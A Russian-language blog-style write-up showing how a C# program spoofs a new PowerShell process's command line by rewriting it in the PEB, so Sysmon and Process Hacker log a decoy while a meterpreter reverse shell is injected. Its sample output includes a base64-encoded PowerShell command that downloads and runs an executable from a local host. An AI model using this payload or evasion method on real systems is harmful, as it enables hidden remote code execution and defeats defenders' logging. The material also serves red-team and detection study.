
Как подделать командную строку при создании нового процесса из C#.
Пример использования C# для внедрения оболочки meterpreter с одновременным подменой командной строки. Командная строка хранится в блоке среды процесса (PEB), логируется при запуске нового процесса и отображается в таких инструментах, как Process Hacker и Task Manager.
Этот код основан на блоге How to Argue like Cobalt Strike Адама Честера/XPN, в котором объясняется, как Cobalt Strike подменяет командную строку процесса при внедрении beacon.
Я использовал это как основу для создания версии на C#, которая запускает процесс PowerShell и внедряет reverse shell meterpreter. Конечно, для этого нет необходимости в .Net-бинарнике, но это демонстрирует, как можно подменять команды.
Новый процесс запускается в приостановленном состоянии с поддельным аргументом командной строки.
Подменённая команда логируется, но мы можем изменить командную строку в PEB процесса. Когда основной поток возобновляется, процесс использует новую командную строку из PEB.
Выполнение кода показано ниже:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
В этом примере внедряется reverse shell meterpreter с помощью PowerShell, но при этом логируется поддельная командная строка.
Sysmon логирует исходную (поддельную) командную строку:

Process Hacker не показывает выполненную команду:
